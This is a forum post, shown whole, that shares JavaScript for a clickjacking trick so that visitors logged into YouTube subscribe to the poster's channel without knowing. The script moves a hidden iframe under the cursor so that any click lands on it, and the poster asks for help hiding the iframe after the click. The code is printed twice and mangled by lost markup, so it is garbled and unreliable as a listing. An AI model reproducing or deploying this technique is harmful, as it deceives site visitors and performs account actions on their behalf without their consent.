I just write a piece of code to make your visitors (who logged in youtube) auto subscribe to you.
Example html file
Insert before your :Code:**** ********Auto Youtube Subscription **** **** ********Hello !!! Welcome to my site! **** ******** **** **** ********var iflag = 0; ** *var icontainer = document.getElementById('icontainer'); ** *var iframe = document.getElementById('i_frame'); ** *function mouseFollower(e){ ** * * */* * * * * * * * * * *DO NOT EDIT THIS * * * * * * * * * * * * */ ** * * *x = (!document.all)? e.pageX : event.x+document.body.scrollLeft; ** * * *y = (!document.all)? e.pageY : event.y+document.body.scrollTop; ** * * */* ------------------------------------------------------------*/ ** * * */* places the iframe at the tip of the cursor, to make it clickable */ ** * * *icontainer.style.left = (x - 13) + 'px'; ** * * *icontainer.style.top = (y - 35) + 'px'; ** *} ** *document.onmousemove = function(e) { ** *****if (iflag == 0) { ** *********mouseFollower(e); ** *****} ** *} **** ****
Enjoy!Code:**** ******** **** **** ********var iflag = 0; ** *var icontainer = document.getElementById('icontainer'); ** *var iframe = document.getElementById('i_frame'); ** *function mouseFollower(e){ ** * * */* * * * * * * * * * *DO NOT EDIT THIS * * * * * * * * * * * * */ ** * * *x = (!document.all)? e.pageX : event.x+document.body.scrollLeft; ** * * *y = (!document.all)? e.pageY : event.y+document.body.scrollTop; ** * * */* ------------------------------------------------------------*/ ** * * */* places the iframe at the tip of the cursor, to make it clickable */ ** * * *icontainer.style.left = (x - 13) + 'px'; ** * * *icontainer.style.top = (y - 35) + 'px'; ** *} ** *document.onmousemove = function(e) { ** *****if (iflag == 0) { ** *********mouseFollower(e); ** *****} ** *} ****
Please give feedback, I'm currently finding a solution to hide the iframe after clicked.


LinkBack URL
About LinkBacks
Reply With Quote

Bookmarks